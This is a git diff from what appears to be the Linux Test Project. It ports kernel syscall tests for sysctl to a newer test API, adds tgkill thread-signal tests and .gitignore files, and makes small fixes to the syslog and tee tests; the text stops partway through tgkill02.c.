-	if (uname(&buf) == -1) {
-		tst_brkm(TBROK, cleanup, "uname() failed");
-	}
+	if (uname(&buf) == -1)
+		tst_brk(TBROK | TERRNO, "uname() failed");
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
-
-#else
-int TST_TOTAL = 0;
-
-int main(void)
-{
-
-	tst_brkm(TCONF, NULL,
-		 "This test needs a kernel that has sysctl syscall.");
-}
-#endif
+static struct tst_test test = {
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_sysctl,
+};
diff --git a/testcases/kernel/syscalls/sysctl/sysctl03.c b/testcases/kernel/syscalls/sysctl/sysctl03.c
index 0c8e691..820ab0b 100644
--- a/testcases/kernel/syscalls/sysctl/sysctl03.c
+++ b/testcases/kernel/syscalls/sysctl/sysctl03.c
@@ -1,67 +1,41 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) 2018 Xiao Yang <yangx.jy@cn.fujitsu.com>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  */
 
 /*
- * NAME
- *	sysctl03.c
- *
  * DESCRIPTION
- *	Testcase to check that sysctl(2) sets errno to EPERM correctly.
+ * 1) Call sysctl(2) as a root user, and attempt to write data
+ *    to the kernel_table[]. Since the table does not have write
+ *    permissions even for the root, it should fail EPERM.
+ * 2) Call sysctl(2) as a non-root user, and attempt to write data
+ *    to the kernel_table[]. Since the table does not have write
+ *    permission for the regular user, it should fail with EPERM.
  *
- * ALGORITHM
- *	a.	Call sysctl(2) as a root user, and attempt to write data
- *		to the kernel_table[]. Since the table does not have write
- *		permissions even for the root, it should fail EPERM.
- *	b.	Call sysctl(2) as a non-root user, and attempt to write data
- *		to the kernel_table[]. Since the table does not have write
- *		permission for the regular user, it should fail with EPERM.
- *
- * NOTE: There is a documentation bug in 2.6.33-rc1 where unfortunately the
- * behavior of sysctl(2) isn't properly documented, as discussed in detail in
- * the following thread:
+ * NOTE: There is a documentation bug in 2.6.33-rc1 where unfortunately
+ * the behavior of sysctl(2) isn't properly documented, as discussed
+ * in detail in the following thread:
  * http://sourceforge.net/mailarchive/message.php?msg_name=4B7BA24F.2010705%40linux.vnet.ibm.com.
  *
  * The documentation bug is filed as:
- * https://bugzilla.kernel.org/show_bug.cgi?id=15446 . If you want the message
- * removed, please ask your fellow kernel maintainer to fix their documentation.
+ * https://bugzilla.kernel.org/show_bug.cgi?id=15446 . If you want the
+ * message removed, please ask your fellow kernel maintainer to fix their
+ * documentation.
  *
  * Thanks!
  * -Ngie
- *
- * USAGE:  <for command-line>
- *  sysctl03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *	02/2010 Updated by shiwh@cn.fujitsu.com
- *
- * RESTRICTIONS
- *	Test must be run as root.
  */
-#include "test.h"
-#include "safe_macros.h"
+
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <stdio.h>
@@ -71,141 +45,67 @@
 #include <linux/sysctl.h>
 #include <pwd.h>
 
-char *TCID = "sysctl03";
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
-/* This is an older/deprecated syscall that newer arches are omitting */
-#ifdef __NR_sysctl
+static int exp_eno;
 
-int TST_TOTAL = 2;
-
-int sysctl(int *name, int nlen, void *oldval, size_t * oldlenp,
-	   void *newval, size_t newlen)
+static void verify_sysctl(void)
 {
-	struct __sysctl_args args =
-	    { name, nlen, oldval, oldlenp, newval, newlen };
-	return syscall(__NR__sysctl, &args);
+	char *osname = "Linux";
+	int name[] = {CTL_KERN, KERN_OSTYPE};
+	struct __sysctl_args args = {
+		.name = name,
+		.nlen = ARRAY_SIZE(name),
+		.newval = osname,
+		.newlen = sizeof(osname),
+	};
+
+	TEST(tst_syscall(__NR__sysctl, &args));
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "sysctl(2) succeeded unexpectedly");
+		return;
+	}
+
+	if (TST_ERR == exp_eno) {
+		tst_res(TPASS | TTERRNO, "Got expected error");
+	} else {
+		tst_res(TFAIL | TTERRNO, "Got unexpected error, expected %s",
+			tst_strerrno(exp_eno));
+	}
 }
 
-#define OSNAMESZ 100
-
-void setup(void);
-void cleanup(void);
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int exp_eno;
-	int lc;
-
-	char osname[OSNAMESZ];
-	int osnamelth, status;
-	int name[] = { CTL_KERN, KERN_OSTYPE };
-	pid_t pid;
-	struct passwd *ltpuser;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
 	if ((tst_kvercmp(2, 6, 32)) <= 0) {
 		exp_eno = EPERM;
 	} else {
-		/* ^^ Look above this warning. ^^ */
-		tst_resm(TINFO,
+		/* Look above this warning. */
+		tst_res(TINFO,
 			 "this test's results are based on potentially undocumented behavior in the kernel. read the NOTE in the source file for more details");
 		exp_eno = EACCES;
-		exp_enos[0] = EACCES;
 	}
+}
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+static void do_test(void)
+{
+	pid_t pid;
+	struct passwd *ltpuser;
 
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		strcpy(osname, "Linux");
-		osnamelth = sizeof(osname);
-
-		TEST(sysctl(name, ARRAY_SIZE(name), 0, 0, osname, osnamelth));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "sysctl(2) succeeded unexpectedly");
-		} else {
-			if (TEST_ERRNO == exp_eno) {
-				tst_resm(TPASS | TTERRNO, "Got expected error");
-			} else if (errno == ENOSYS) {
-				tst_resm(TCONF,
-					 "You may need to make CONFIG_SYSCTL_SYSCALL=y"
-					 " to your kernel config.");
-			} else {
-				tst_resm(TFAIL | TTERRNO,
-					 "Got unexpected error");
-			}
-		}
-
-		osnamelth = sizeof(osname);
-		if ((ltpuser = getpwnam("nobody")) == NULL) {
-			tst_brkm(TBROK, cleanup, "getpwnam() failed");
-		}
-
-		/* set process ID to "ltpuser1" */
-		SAFE_SETEUID(cleanup, ltpuser->pw_uid);
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork() failed");
-		}
-
-		if (pid == 0) {
-			TEST(sysctl(name, ARRAY_SIZE(name), 0, 0, osname, osnamelth));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-			} else {
-				if (TEST_ERRNO == exp_eno) {
-					tst_resm(TPASS | TTERRNO,
-						 "Got expected error");
-				} else if (TEST_ERRNO == ENOSYS) {
-					tst_resm(TCONF,
-						 "You may need to make CONFIG_SYSCTL_SYSCALL=y"
-						 " to your kernel config.");
-				} else {
-					tst_resm(TFAIL | TTERRNO,
-						 "Got unexpected error");
-				}
-			}
-
-			cleanup();
-
-		} else {
-			/* wait for the child to finish */
-			wait(&status);
-		}
-
-		/* set process ID back to root */
-		SAFE_SETEUID(cleanup, 0);
+	pid = SAFE_FORK();
+	if (!pid) {
+		ltpuser = SAFE_GETPWNAM("nobody");
+		SAFE_SETUID(ltpuser->pw_uid);
+		verify_sysctl();
+	} else {
+		verify_sysctl();
+		tst_reap_children();
 	}
-	cleanup();
-	tst_exit();
 }
 
-void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-void cleanup(void)
-{
-}
-
-#else
-int TST_TOTAL = 0;
-
-int main(void)
-{
-
-	tst_brkm(TCONF, NULL,
-		 "This test needs a kernel that has sysctl syscall.");
-}
-#endif
+static struct tst_test test = {
+	.needs_root = 1,
+	.forks_child = 1,
+	.setup = setup,
+	.test_all = do_test,
+};
diff --git a/testcases/kernel/syscalls/sysctl/sysctl04.c b/testcases/kernel/syscalls/sysctl/sysctl04.c
index 6339bf2..0593070 100644
--- a/testcases/kernel/syscalls/sysctl/sysctl04.c
+++ b/testcases/kernel/syscalls/sysctl/sysctl04.c
@@ -1,166 +1,78 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 200i1
+ * Copyright (c) 2018 Xiao Yang <yangx.jy@cn.fujitsu.com>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  */
 
 /*
- * NAME
- *	sysctl04.c
- *
  * DESCRIPTION
- *	Testcase to check that sysctl(2) sets errno to ENOTDIR
- *
- * ALGORITHM
- *	1. Call sysctl(2) with sc_nlen set to 0, and expect ENOTDIR to be set.
- *	2. Call sysctl(2) with sc_nlen greater than CTL_MAXNAME, and expect
- *	   ENOTDIR to be set in the errno.
- *
- * USAGE:  <for command-line>
- *  sysctl04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None
+ * 1) Call sysctl(2) with nlen set to 0, and expect ENOTDIR.
+ * 2) Call sysctl(2) with nlen greater than CTL_MAXNAME, and expect ENOTDIR.
+ * 3) Call sysctl(2) with the address of oldname outside the address space of
+ *    the process, and expect EFAULT.
+ * 4) Call sysctl(2) with the address of soldval outside the address space of
+ *    the process, and expect EFAULT.
  */
 
-#include "test.h"
 #include <stdio.h>
 #include <errno.h>
 #include <unistd.h>
 #include <linux/unistd.h>
 #include <linux/sysctl.h>
 
-char *TCID = "sysctl04";
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
-/* This is an older/deprecated syscall that newer arches are omitting */
-#ifdef __NR_sysctl
+static char osname[BUFSIZ];
+static size_t length = BUFSIZ;
 
-int TST_TOTAL = 2;
-
-int sysctl(int *name, int nlen, void *oldval, size_t * oldlenp,
-	   void *newval, size_t newlen)
-{
-	struct __sysctl_args args =
-	    { name, nlen, oldval, oldlenp, newval, newlen };
-	return syscall(__NR__sysctl, &args);
-}
-
-#define OSNAMESZ 100
-
-void setup(void);
-void cleanup(void);
-
-struct test_case_t {
-	int size;
-	int error;
-} TC[] = {
-	/* comment goes here */
-	{
-	0, ENOTDIR},
-	    /* comment goes here */
-	{
-	CTL_MAXNAME + 1, ENOTDIR}
+static struct tcase {
+	int name[2];
+	int nlen;
+	void *oldval;
+	size_t *oldlen;
+	int exp_err;
+} tcases[] = {
+	{{CTL_KERN, KERN_OSREV}, 0, osname, &length, ENOTDIR},
+	{{CTL_KERN, KERN_OSREV}, CTL_MAXNAME + 1, osname, &length, ENOTDIR},
+	{{CTL_KERN, KERN_OSRELEASE}, 2, (void *) -1, &length, EFAULT},
+	{{CTL_KERN, KERN_VERSION}, 2, osname, (void *) -1, EFAULT},
 };
 
-int main(int ac, char **av)
+static void verify_sysctl(unsigned int n)
 {
-	int lc;
+	struct tcase *tc = &tcases[n];
+	struct __sysctl_args args = {
+		.name = tc->name,
+		.nlen = tc->nlen,
+		.oldval = tc->oldval,
+		.oldlenp = tc->oldlen,
+	};
 
-	char osname[OSNAMESZ];
-	int i;
-	size_t osnamelth;
-	int name[] = { CTL_KERN, KERN_OSREV };
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	osnamelth = sizeof(osname);
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(sysctl(name, 0, osname, &osnamelth, 0, 0));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS, "expected failure - "
-					 "errno = %d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else if (TEST_ERRNO == ENOSYS) {
-				tst_resm(TCONF,
-					 "You may need to make CONFIG_SYSCTL_SYSCALL=y"
-					 " to your kernel config.");
-			} else {
-				tst_resm(TFAIL, "unexpected error - %d : %s - "
-					 "expected %d", TEST_ERRNO,
-					 strerror(TEST_ERRNO), TC[i].error);
-			}
-		}
+	TEST(tst_syscall(__NR__sysctl, &args));
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "sysctl(2) succeeded unexpectedly");
+		return;
 	}
-	cleanup();
 
-	tst_exit();
+	if (TST_ERR == tc->exp_err) {
+		tst_res(TPASS | TTERRNO, "Got expected error");
+	} else {
+		tst_res(TFAIL | TTERRNO, "Got unexpected error, expected %s",
+			tst_strerrno(tc->exp_err));
+	}
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
-
-#else
-int TST_TOTAL = 0;
-
-int main(void)
-{
-
-	tst_brkm(TCONF, NULL,
-		 "This test needs a kernel that has sysctl syscall.");
-}
-#endif
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_sysctl,
+};
diff --git a/testcases/kernel/syscalls/sysctl/sysctl05.c b/testcases/kernel/syscalls/sysctl/sysctl05.c
deleted file mode 100644
index 85030e7..0000000
--- a/testcases/kernel/syscalls/sysctl/sysctl05.c
+++ /dev/null
@@ -1,193 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	sysctl05.c
- *
- * DESCRIPTION
- *	Testcase to check that sysctl(2) sets errno to EFAULT
- *
- * ALGORITHM
- *	1. Call sysctl(2) with the address of sc_oldname outside the address
- *	   space of the process, and expect EFAULT.
- *	2. Call sysctl(2) with the address of sc_oldval outside the address
- *	   space of the process, and expect EFAULT.
- *
- * USAGE:  <for command-line>
- *  sysctl05 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None
- */
-
-#include "test.h"
-#include <stdio.h>
-#include <unistd.h>
-#include <linux/unistd.h>
-#include <linux/sysctl.h>
-#include <linux/version.h>
-#include <errno.h>
-
-char *TCID = "sysctl05";
-
-/* This is an older/deprecated syscall that newer arches are omitting */
-#ifdef __NR_sysctl
-
-int TST_TOTAL = 2;
-
-int sysctl(int *name, int nlen, void *oldval, size_t * oldlenp,
-	   void *newval, size_t newlen)
-{
-	struct __sysctl_args args =
-	    { name, nlen, oldval, oldlenp, newval, newlen };
-	return syscall(__NR__sysctl, &args);
-}
-
-char osname[BUFSIZ];
-size_t osnamelth;
-
-void setup(void);
-void cleanup(void);
-
-struct testcases {
-	char *desc;
-	int name[2];
-	int size;
-	void *oldval;
-	size_t *oldlen;
-	void *newval;
-	int newlen;
-	int (*cleanup) ();
-	int exp_retval;
-	int exp_errno;
-} testcases[] = {
-	{
-		"Test for EFAULT: invalid oldlen", {
-	CTL_KERN, KERN_OSRELEASE},
-		    2, osname, (void *)-1, NULL, 0, NULL, -1, EFAULT}, {
-		"Test for EFAULT: invalid oldval", {
-	CTL_KERN, KERN_VERSION},
-		    2, (void *)-1, &osnamelth, NULL, 0, NULL, -1, EFAULT}
-};
-
-#if !defined(UCLINUX)
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-	int ret = 0;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-
-			osnamelth = sizeof(osname);
-
-			TEST(sysctl(testcases[i].name, testcases[i].size,
-				    testcases[i].oldval, testcases[i].oldlen,
-				    testcases[i].newval, testcases[i].newlen));
-
-			if (TEST_RETURN != testcases[i].exp_retval) {
-				tst_resm(TFAIL, "sysctl(2) returned unexpected "
-					 "retval, expected: %d, got: %d",
-					 testcases[i].exp_retval, ret);
-				continue;
-			}
-
-			if (TEST_ERRNO == ENOSYS) {
-				tst_resm(TCONF,
-					 "You may need to make CONFIG_SYSCTL_SYSCALL=y"
-					 " to your kernel config.");
-			} else if (TEST_ERRNO != testcases[i].exp_errno) {
-				tst_resm(TFAIL, "sysctl(2) returned unexpected "
-					 "errno, expected: %d, got: %d",
-					 testcases[i].exp_errno, errno);
-			} else {
-				tst_resm(TPASS, "sysctl(2) set errno correctly "
-					 "to %d", testcases[i].exp_errno);
-			}
-
-			if (testcases[i].cleanup) {
-				(void)testcases[i].cleanup();
-			}
-		}
-	}
-	cleanup();
-
-	tst_exit();
-}
-
-#else
-
-int main(void)
-{
-	tst_resm(TINFO, "test is not available on uClinux");
-	tst_exit();
-}
-
-#endif /* if !defined(UCLINUX) */
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
-
-#else
-int TST_TOTAL = 0;
-
-int main(void)
-{
-
-	tst_brkm(TCONF, NULL,
-		 "This test needs a kernel that has sysctl syscall.");
-}
-#endif
diff --git a/testcases/kernel/syscalls/sysfs/.gitignore b/testcases/kernel/syscalls/sysfs/.gitignore
new file mode 100644
index 0000000..d38a433
--- /dev/null
+++ b/testcases/kernel/syscalls/sysfs/.gitignore
@@ -0,0 +1,6 @@
+/sysfs01
+/sysfs02
+/sysfs03
+/sysfs04
+/sysfs05
+/sysfs06
diff --git a/testcases/kernel/syscalls/sysinfo/.gitignore b/testcases/kernel/syscalls/sysinfo/.gitignore
new file mode 100644
index 0000000..aa7c269
--- /dev/null
+++ b/testcases/kernel/syscalls/sysinfo/.gitignore
@@ -0,0 +1,2 @@
+/sysinfo01
+/sysinfo02
diff --git a/testcases/kernel/syscalls/syslog/.gitignore b/testcases/kernel/syscalls/syslog/.gitignore
new file mode 100644
index 0000000..ec2b941
--- /dev/null
+++ b/testcases/kernel/syscalls/syslog/.gitignore
@@ -0,0 +1,3 @@
+/syslog11
+/syslog12
+/syslogtst
diff --git a/testcases/kernel/syscalls/syslog/syslog-lib.sh b/testcases/kernel/syscalls/syslog/syslog-lib.sh
index 35c13da..31266f9 100755
--- a/testcases/kernel/syscalls/syslog/syslog-lib.sh
+++ b/testcases/kernel/syscalls/syslog/syslog-lib.sh
@@ -71,7 +71,11 @@
 		CONFIG_FILE="/etc/syslog-ng/syslog-ng.conf"
 	elif [ "$SYSLOG_DAEMON" = "rsyslog" ]; then
 		CONFIG_FILE="/etc/rsyslog.conf"
-		if grep -q -r '^\$ModLoad[[:space:]]*imjournal' /etc/rsyslog.conf /etc/rsyslog.d/ ; then
+		# To cope with systemd-journal, we are looking for either:
+		#   $ModLoad imjournal
+		#   module(load="imjournal"...)
+		# in rsyslog config, and using those settings.
+		if grep -qri '^[^#].*load.*imjournal' /etc/rsyslog.conf /etc/rsyslog.d/ ; then
 			systemd_journal=$(grep -Ehoi "^[^#].*(imjournal|workdirectory).*" -r /etc/rsyslog.conf /etc/rsyslog.d/)
 			RSYSLOG_CONFIG=$(cat <<EOF
 $systemd_journal
diff --git a/testcases/kernel/syscalls/tee/.gitignore b/testcases/kernel/syscalls/tee/.gitignore
new file mode 100644
index 0000000..14f4339
--- /dev/null
+++ b/testcases/kernel/syscalls/tee/.gitignore
@@ -0,0 +1,2 @@
+/tee01
+/tee02
diff --git a/testcases/kernel/syscalls/tee/tee02.c b/testcases/kernel/syscalls/tee/tee02.c
index d454f4a..744d51a 100644
--- a/testcases/kernel/syscalls/tee/tee02.c
+++ b/testcases/kernel/syscalls/tee/tee02.c
@@ -66,14 +66,14 @@
 
 	TEST(tee(*(tc->fdin), *(tc->fdout), TEE_TEST_LEN, 0));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "tee() returned %ld, "
-			"expected -1, errno:%d", TEST_RETURN,
+			"expected -1, errno:%d", TST_RET,
 			tc->exp_errno);
 		return;
 	}
 
-	if (TEST_ERRNO != tc->exp_errno) {
+	if (TST_ERR != tc->exp_errno) {
 		tst_res(TFAIL | TTERRNO,
 			"tee() failed unexpectedly; expected: %d - %s",
 			tc->exp_errno, tst_strerrno(tc->exp_errno));
diff --git a/testcases/kernel/syscalls/tgkill/.gitignore b/testcases/kernel/syscalls/tgkill/.gitignore
new file mode 100644
index 0000000..a6d2299
--- /dev/null
+++ b/testcases/kernel/syscalls/tgkill/.gitignore
@@ -0,0 +1,3 @@
+tgkill01
+tgkill02
+tgkill03
diff --git a/testcases/kernel/syscalls/tgkill/Makefile b/testcases/kernel/syscalls/tgkill/Makefile
new file mode 100644
index 0000000..602a59b
--- /dev/null
+++ b/testcases/kernel/syscalls/tgkill/Makefile
@@ -0,0 +1,10 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Google, Inc.
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
+
+CFLAGS			+= -pthread
diff --git a/testcases/kernel/syscalls/tgkill/tgkill.h b/testcases/kernel/syscalls/tgkill/tgkill.h
new file mode 100644
index 0000000..a7d96f4
--- /dev/null
+++ b/testcases/kernel/syscalls/tgkill/tgkill.h
@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Google, Inc.
+ */
+
+#ifndef TGKILL_H
+#define TGKILL_H
+
+#include "config.h"
+#include "lapi/syscalls.h"
+
+static inline int sys_tgkill(int tgid, int tid, int sig)
+{
+	return tst_syscall(__NR_tgkill, tgid, tid, sig);
+}
+
+static inline pid_t sys_gettid(void)
+{
+	return tst_syscall(__NR_gettid);
+}
+
+#endif /* TGKILL_H */
diff --git a/testcases/kernel/syscalls/tgkill/tgkill01.c b/testcases/kernel/syscalls/tgkill/tgkill01.c
new file mode 100644
index 0000000..075bf48
--- /dev/null
+++ b/testcases/kernel/syscalls/tgkill/tgkill01.c
@@ -0,0 +1,134 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * tgkill() delivers a signal to a specific thread.  Test this by installing
+ * a SIGUSR1 handler which records the current pthread ID.  Start a number
+ * of threads in parallel, then one-by-one call tgkill(..., tid, SIGUSR1)
+ * and check that the expected pthread ID was recorded.
+ */
+
+#include <pthread.h>
+#include <stdlib.h>
+
+#include "tst_safe_pthread.h"
+#include "tst_test.h"
+#include "tgkill.h"
+
+struct thread_state {
+	pthread_t thread;
+	pid_t tid;
+};
+
+static char *str_threads;
+static int n_threads = 10;
+static struct thread_state *threads;
+
+static pthread_t sigusr1_thread;
+
+static void sigusr1_handler(int signum __attribute__((unused)))
+{
+	sigusr1_thread = pthread_self();
+}
+
+static void *thread_func(void *arg)
+{
+	struct thread_state *thread = arg;
+
+	/**
+	 * There is no standard way to map pthread -> tid, so we will have the
+	 * child stash its own tid then notify the parent that the stashed tid
+	 * is available.
+	 */
+	thread->tid = sys_gettid();
+
+	TST_CHECKPOINT_WAKE(0);
+
+	TST_CHECKPOINT_WAIT(1);
+
+	return arg;
+}
+
+static void start_thread(struct thread_state *thread)
+{
+	SAFE_PTHREAD_CREATE(&thread->thread, NULL, thread_func, thread);
+
+	TST_CHECKPOINT_WAIT(0);
+}
+
+static void stop_threads(void)
+{
+	int i;
+
+	TST_CHECKPOINT_WAKE2(1, n_threads);
+
+	for (i = 0; i < n_threads; i++) {
+		if (threads[i].tid == -1)
+			continue;
+
+		SAFE_PTHREAD_JOIN(threads[i].thread, NULL);
+		threads[i].tid = -1;
+	}
+
+	if (threads)
+		free(threads);
+}
+
+static void run(void)
+{
+	int i;
+
+	for (i = 0; i < n_threads; i++) {
+		sigusr1_thread = pthread_self();
+
+		TEST(sys_tgkill(getpid(), threads[i].tid, SIGUSR1));
+		if (TST_RET) {
+			tst_res(TFAIL | TTERRNO, "tgkill() failed");
+			return;
+		}
+
+		while (pthread_equal(sigusr1_thread, pthread_self()))
+			usleep(1000);
+
+		if (!pthread_equal(sigusr1_thread, threads[i].thread)) {
+			tst_res(TFAIL, "SIGUSR1 delivered to wrong thread");
+			return;
+		}
+	}
+
+	tst_res(TPASS, "SIGUSR1 delivered to correct threads");
+}
+
+static void setup(void)
+{
+	int i;
+
+	if (tst_parse_int(str_threads, &n_threads, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of threads '%s'", str_threads);
+
+	threads = SAFE_MALLOC(sizeof(*threads) * n_threads);
+
+	struct sigaction sigusr1 = {
+		.sa_handler = sigusr1_handler,
+	};
+	SAFE_SIGACTION(SIGUSR1, &sigusr1, NULL);
+
+	for (i = 0; i < n_threads; i++)
+		threads[i].tid = -1;
+
+	for (i = 0; i < n_threads; i++)
+		start_thread(&threads[i]);
+}
+
+static struct tst_option options[] = {
+	{"t:", &str_threads, "-t       Number of threads (default 10)"},
+	{NULL, NULL, NULL},
+};
+
+static struct tst_test test = {
+	.options = options,
+	.needs_checkpoints = 1,
+	.setup = setup,
+	.test_all = run,
+	.cleanup = stop_threads,
+};
diff --git a/testcases/kernel/syscalls/tgkill/tgkill02.c b/testcases/kernel/syscalls/tgkill/tgkill02.c
new file mode 100644
index 0000000..88f3842
--- /dev/null
+++ b/testcases/kernel/syscalls/tgkill/tgkill02.c
@@ -0,0 +1,68 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * tgkill() should fail with EAGAIN when RLIMIT_SIGPENDING is reached with a
+ * real-time signal.  Test this by starting a child thread with SIGRTMIN
+ * blocked and a limit of 0 pending signals, then attempting to deliver
+ * SIGRTMIN from the parent thread.
+ */
+
+#include <pthread.h>
+#include <signal.h>
+
+#include "tst_safe_pthread.h"
+#include "tst_test.h"
+#include "tgkill.h"
+
+static void *thread_func(void *arg)
+{
+	const struct rlimit sigpending = {
+		.rlim_cur = 0,
+		.rlim_max = 0,
+	};
+	sigset_t sigrtmin;
+	int err;
+	pid_t *tid = arg;
+
+	sigemptyset(&sigrtmin);
+	sigaddset(&sigrtmin, SIGRTMIN);
+
+	err = pthread_sigmask(SIG_BLOCK, &sigrtmin, NULL);
+	if (err)
+		tst_brk(TBROK, "pthread_sigmask() failed: %s",
+			tst_strerrno(err));
+
+	SAFE_SETRLIMIT(RLIMIT_SIGPENDING, &sigpending);
+	*tid = sys_gettid();
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	return arg;
+}
+
+static void run(void)
+{
+	pthread_t thread;
+	pid_t tid = -1;
+
+	SAFE_PTHREAD_CREATE(&thread, NULL, thread_func, &tid);
+
